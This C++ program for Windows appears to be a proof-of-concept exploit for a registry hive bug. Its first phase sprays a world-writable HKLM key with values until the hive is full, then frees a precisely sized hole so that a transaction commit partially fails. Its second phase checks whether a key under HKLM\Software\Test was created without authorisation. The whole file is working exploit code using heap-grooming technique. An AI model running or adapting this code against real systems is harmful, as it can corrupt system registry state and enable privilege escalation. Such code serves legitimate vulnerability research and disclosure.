#include <Windows.h>

#include <cstdio>
#include <vector>

int Phase1() {
  LSTATUS st;

  //
  // Open a key in a world-writable HKLM\Software location for massaging
  // the hive storage space.
  //

  HKEY hTestKey;
  st = RegCreateKeyExA(HKEY_LOCAL_MACHINE,
                       "Software\\Microsoft\\DRM\\Test",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hTestKey,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExA failed with error %d\n", st);
    return 1;
  }

  //
  // Allocate a scratch buffer for value data.
  //

  CONST ULONG kMaxValueSize = 1024 * 1024;  // 1 MiB
  PBYTE chValueData = (PBYTE)malloc(kMaxValueSize);

  if (chValueData == NULL) {
    printf("malloc(%u) failed\n", kMaxValueSize);
    return 1;
  }

  memset(chValueData, 0xCC, kMaxValueSize);

  //
  // Allocate the key value that we'll use to create the cell holes later.
  //

  const std::vector<ULONG> CellHoleSizes = {

    //
    // Cell allocations made during the "Active" transaction phase.
    //

    0x50,  // key node (Test)
    0x104, // default security descriptor
    0x19,  // key value node
    0xe,   // key value data
    0x4,   // key value list
    0x52,  // key node (SubKey)
    0x74,  // new security descriptor

    //
    // Initial allowed allocations made during the "Commit" phase.
    //

    0x54,  // key node (Test)
    0xc,   // subkey list
    0x19,  // key value node
    0xe,   // key value data
    0x4,   // key value list

    //
    // The next allocation is for the "SubKey" key node, which must fail.
    //
  };

  ULONG ulTotalHoleSize = 0;
  for (ULONG ulHoleSize : CellHoleSizes) {
    ulTotalHoleSize += ((ulHoleSize + 11) & (~7));
  }

  st = RegSetValueExA(hTestKey,
                      "hole",
                      0,
                      REG_BINARY,
                      chValueData,
                      ulTotalHoleSize);

  if (st != ERROR_SUCCESS) {
    printf("RegSetValueExA failed with error %d\n", st);
    return 1;
  }

  //
  // Pre-create the spray value nodes to minimize fragmentation of cells during
  // spraying, and to arrive at a stable key value index that won't be
  // reallocated later.
  //

  CONST ULONG kSprayValues = 0x4000;

  printf("Pre-creating registry spray values...\n");

  for (ULONG i = 0; i < kSprayValues; i++) {
    CHAR chValueName[20];
    _snprintf_s(chValueName, sizeof(chValueName), "spray%.8x", i);

    st = RegSetValueExA(hTestKey,
                        chValueName,
                        0,
                        REG_BINARY,
                        (const BYTE*)"AAAA",
                        4);

    if (st != ERROR_SUCCESS) {
      printf("RegSetValueExA failed with error %d\n", st);
      return 1;
    }
  }

  //
  // Allocate space in the hive by creating values of descending length, up
  // to the point where there is no room left in the hive for new allocations.
  //

  printf("Spraying registry with size %u...\n", kMaxValueSize);

  ULONG ulSprayAllocSize = kMaxValueSize, ulTotalSpraySize = 0;
  for (ULONG i = 0; ulSprayAllocSize > 8; i++) {
    CHAR chValueName[20];
    _snprintf_s(chValueName, sizeof(chValueName), "spray%.8x", i);

    st = RegSetValueExA(hTestKey,
                        chValueName,
                        0,
                        REG_BINARY,
                        chValueData,
                        ulSprayAllocSize - 4);

    if (st == ERROR_SUCCESS) {
      ulTotalSpraySize += ulSprayAllocSize;
    } else {
      ulSprayAllocSize /= 2;
      printf("Spraying registry with size %u...\n", ulSprayAllocSize);
    }
  }

  printf("Registry sprayed with a total of 0x%x bytes\n", ulTotalSpraySize);

  //
  // Create the hole needed for the partial success of the transaction,
  // by freeing up the correspoding key value.
  // 

  st = RegSetValueExA(hTestKey,
                      "hole",
                      0,
                      REG_BINARY,
                      (const BYTE*)"AAAA",
                      4);

  if (st != ERROR_SUCCESS) {
    printf("RegSetValueExA failed with error %d\n", st);
    return 1;
  }

  RegCloseKey(hTestKey);

  return 0;
}

int Phase2() {
  //
  // Try to open the HKLM\Software\Test key and enumerate its values.
  // 

  HKEY hTestKey;
  LSTATUS st = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
                             "Software\\Test",
                             0,
                             KEY_READ,
                             &hTestKey);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyExA failed with error %d\n", st);
    return 1;
  }

  for (DWORD i = 0;; i++) {
    CHAR ValueName[100];
    BYTE ValueData[100] = { 0 };
    DWORD Type, cchValueName = sizeof(ValueName), cbData = sizeof(ValueData);

    st = RegEnumValueA(hTestKey,
                       i,
                       ValueName,
                       &cchValueName,
                       NULL,
                       &Type,
                       ValueData,
                       &cbData);

    if (st == ERROR_NO_MORE_ITEMS) {
      break;
    } else if (st != ERROR_SUCCESS) {
      printf("RegEnumValueA failed with error %d\n", st);
      return 1;
    }

    if (Type == REG_SZ) {
      printf("%d. %s: %.*s\n", i + 1, ValueName, cbData, ValueData);
    } else {
      printf("%d. %s\n", i + 1, ValueName);
    }
  }

  RegCloseKey(hTestKey);

  return 0;
}

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("Usage: %s <phase 1/2>\n", argv[0]);
    return 1;
  }

  const int phase = atoi(argv[1]);

  if (phase == 1) {
    return Phase1();
  } else if (phase == 2) {
    return Phase2();
  }

  return 0;
}